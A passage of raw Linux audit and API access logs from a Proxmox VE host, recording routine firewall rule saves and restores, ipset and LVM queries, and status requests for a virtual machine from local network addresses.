syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59635 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965372775,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965372.775:65321): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789956a70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62745 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964085958,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964085.958:59532): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57174 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966095941,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966095.941:68431): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65715 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964485728,"@rawstring":"node=pve type=EXECVE msg=audit(1781964485.728:61221): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965344178,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:22:23 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 935"} {"@timestamp":1781966095885,"@rawstring":"node=pve type=EXECVE msg=audit(1781966095.885:68422): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964695314,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964695.314:62179): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59635 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965367767,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965367.767:65319): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899569b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62743 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964085951,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964085.951:59531): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57173 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966095933,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966095.933:68430): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65714 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964485725,"@rawstring":"node=pve type=EXECVE msg=audit(1781964485.725:61220): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965344178,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:22:23 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 510"} {"@timestamp":1781966095878,"@rawstring":"node=pve type=EXECVE msg=audit(1781966095.878:68421): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781964690309,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964690.309:62175): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59630 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965367767,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965367.767:65318): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899569b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62743 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964085945,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964085.945:59530): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57172 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966095925,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966095.925:68429): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65713 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964485722,"@rawstring":"node=pve type=EXECVE msg=audit(1781964485.722:61219): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965344178,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:22:23 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781966095870,"@rawstring":"node=pve type=EXECVE msg=audit(1781966095.870:68420): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964690309,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964690.309:62174): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59630 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965367753,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965367.753:65316): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899568f0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62742 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964085938,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964085.938:59529): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc13d7f0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57171 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966095916,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966095.916:68428): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65712 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964485721,"@rawstring":"node=pve type=EXECVE msg=audit(1781964485.721:61218): argc=1 a0=\"date\""} {"@timestamp":1781965344178,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:22:23 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 514"} {"@timestamp":1781966095863,"@rawstring":"node=pve type=EXECVE msg=audit(1781966095.863:68419): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964690302,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964690.302:62172): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59629 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965367753,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965367.753:65315): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899568f0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62742 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964085934,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964085.934:59528): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=576f25d86740 items=0 ppid=1156 pid=57170 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781966095912,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966095.912:68427): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5a2738652740 items=0 ppid=1156 pid=65711 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781964485717,"@rawstring":"node=pve type=EXECVE msg=audit(1781964485.717:61216): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965342245,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:22:21 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 872"} {"@timestamp":1781966095859,"@rawstring":"node=pve type=EXECVE msg=audit(1781966095.859:68418): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964690302,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964690.302:62171): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59629 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965365739,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965365.739:65311): arch=c000003e syscall=59 success=no exit=-2 a0=7fff17688120 a1=5b90082ca3d0 a2=5b90082a8680 a3=5 items=1 ppid=62735 pid=62736 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964085932,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964085.932:59527): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc139e80 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57170 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781966095909,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966095.909:68426): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc12f0b0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65711 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781964485710,"@rawstring":"node=pve type=EXECVE msg=audit(1781964485.710:61215): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965342245,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:22:21 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1087"} {"@timestamp":1781966095855,"@rawstring":"node=pve type=EXECVE msg=audit(1781966095.855:68417): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964685418,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964685.418:62167): arch=c000003e syscall=59 success=no exit=-2 a0=7ffe57ce6fe0 a1=5b13d93ed200 a2=5b13d93cb680 a3=5 items=1 ppid=59622 pid=59623 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965365636,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965365.636:65293): arch=c000003e syscall=59 success=no exit=-2 a0=7ffe26897920 a1=5b61ab25c410 a2=5b61ab23a680 a3=5 items=1 ppid=62716 pid=62717 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964085927,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964085.927:59526): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc131660 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57169 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966095903,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966095.903:68425): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc1477c0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65710 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964485704,"@rawstring":"node=pve type=EXECVE msg=audit(1781964485.704:61214): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965342245,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:22:21 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1098"} {"@timestamp":1781966095854,"@rawstring":"node=pve type=EXECVE msg=audit(1781966095.854:68416): argc=1 a0=\"date\""} {"@timestamp":1781964685335,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964685.335:62149): arch=c000003e syscall=59 success=no exit=-2 a0=7ffed2c27e80 a1=64e5c73df3d0 a2=64e5c73bd680 a3=5 items=1 ppid=59603 pid=59604 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965362745,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965362.745:65283): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789956830 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62706 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964085922,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964085.922:59525): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecb60d76b0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57168 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966095897,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966095.897:68424): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc1478b0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65709 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964485699,"@rawstring":"node=pve type=EXECVE msg=audit(1781964485.699:61213): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781965340655,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:22:20 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 505"} {"@timestamp":1781966095850,"@rawstring":"node=pve type=EXECVE msg=audit(1781966095.850:68414): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964685293,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964685.293:62141): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59597 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965362745,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965362.745:65282): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789956830 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62706 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964085916,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964085.916:59524): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc130160 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57167 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966095891,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966095.891:68423): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0deba0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65708 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964485693,"@rawstring":"node=pve type=EXECVE msg=audit(1781964485.693:61212): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965340655,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:22:19 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 920"} {"@timestamp":1781966095843,"@rawstring":"node=pve type=EXECVE msg=audit(1781966095.843:68413): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964685293,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964685.293:62140): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59597 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965362737,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965362.737:65280): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789956770 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62705 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964085910,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964085.910:59523): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb60d76b0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57166 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966095885,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966095.885:68422): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc1478b0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65707 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964485685,"@rawstring":"node=pve type=EXECVE msg=audit(1781964485.685:61211): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965340655,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:22:19 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 509"} {"@timestamp":1781966095836,"@rawstring":"node=pve type=EXECVE msg=audit(1781966095.836:68412): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964685281,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964685.281:62138): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59596 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965362737,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965362.737:65279): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789956770 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62705 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964085905,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964085.905:59522): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc147850 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57165 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966095878,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966095.878:68421): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8adbee0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65706 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781964484727,"@rawstring":"node=pve type=EXECVE msg=audit(1781964484.727:61210): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781965340655,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:22:19 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781966095829,"@rawstring":"node=pve type=EXECVE msg=audit(1781966095.829:68411): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781964685281,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964685.281:62137): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59596 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965357729,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965357.729:65273): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899566b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62698 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964085896,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964085.896:59521): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57164 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966095870,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966095.870:68420): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 